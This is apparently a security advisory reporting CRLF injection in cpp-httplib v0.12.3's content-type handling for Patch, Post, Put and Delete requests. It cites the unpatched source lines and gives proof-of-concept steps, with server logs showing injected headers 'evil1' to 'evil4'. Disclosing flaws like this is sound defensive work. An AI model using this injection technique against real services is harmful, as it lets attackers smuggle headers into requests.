Project: cpp-httplib
Tested Version: v0.12.3 (commit f977558a28d6db893cf42131c33d025fa17458e1)
Github Repository: https://github.com/yhirose/cpp-httplib
cpp-httplib is vulnerable to CRLF Injection when untrusted user input is used to set the content-type header in the HTTP .Patch, .Post, .Put and .Delete requests. An attacker can add the \r\n (carriage return line feeds) characters and inject additional headers in the request sent.
The fix introduced here (https://github.com/yhirose/cpp-httplib/commit/85327e19ae7e72028c30917247238d638ce56d0b) to check for CRLF characters is applied in the Request::set_header method but not in the following places:
- https://github.com/yhirose/cpp-httplib/blob/f977558a28d6db893cf42131c33d025fa17458e1/httplib.h#L6738
- https://github.com/yhirose/cpp-httplib/blob/f977558a28d6db893cf42131c33d025fa17458e1/httplib.h#L7427
More reference about this vulnerability and its impact:
- https://owasp.org/www-community/vulnerabilities/CRLF_Injection
- https://cwe.mitre.org/data/definitions/113.html
Reference to similar issues affecting other projects:
- https://security.snyk.io/vuln/SNYK-SWIFT-SWIFTSERVERASYNCHTTPCLIENT-3237994
- https://security.snyk.io/vuln/SNYK-JS-UNDICI-2980276
- download the project and extract in a folder
- in the same folder of the downloaded project, create a server to log incoming requests and print headers:
g++ server_log.cpp -o server_log
./server_log- in the same folder of the downloaded project, create a client with headers containing CRLF sequences (in the PoC below the additional header
evilX: helloXis sent):
g++ client.cpp -o client
./clientServer output:
================================
POST HTTP/1.1 /test1
Accept: */*
Connection: close
Content-Length: 3
Content-Type: application/x-www-form-urlencoded
evil1: hello1
Host: 0.0.0.0:8080
LOCAL_ADDR: 127.0.0.1
LOCAL_PORT: 8080
REMOTE_ADDR: 127.0.0.1
REMOTE_PORT: 50972
User-Agent: cpp-httplib/0.12.3
================================
DELETE HTTP/1.1 /test2
Accept: */*
Connection: close
Content-Length: 3
Content-Type: text/plain
evil2: hello2
Host: 0.0.0.0:8080
LOCAL_ADDR: 127.0.0.1
LOCAL_PORT: 8080
REMOTE_ADDR: 127.0.0.1
REMOTE_PORT: 50982
User-Agent: cpp-httplib/0.12.3
================================
PUT HTTP/1.1 /test3
Accept: */*
Connection: close
Content-Length: 4
Content-Type: text/plain
evil3: hello3
Host: 0.0.0.0:8080
LOCAL_ADDR: 127.0.0.1
LOCAL_PORT: 8080
REMOTE_ADDR: 127.0.0.1
REMOTE_PORT: 50984
User-Agent: cpp-httplib/0.12.3
================================
PATCH HTTP/1.1 /test4
Accept: */*
Connection: close
Content-Length: 7
Content-Type: text/plain
evil4: hello4
Host: 0.0.0.0:8080
LOCAL_ADDR: 127.0.0.1
LOCAL_PORT: 8080
REMOTE_ADDR: 127.0.0.1
REMOTE_PORT: 50988
User-Agent: cpp-httplib/0.12.3If untrusted user input is placed in header values, a malicious user could inject additional headers. It can lead to logical errors and other misbehaviours.
Alessio Della Libera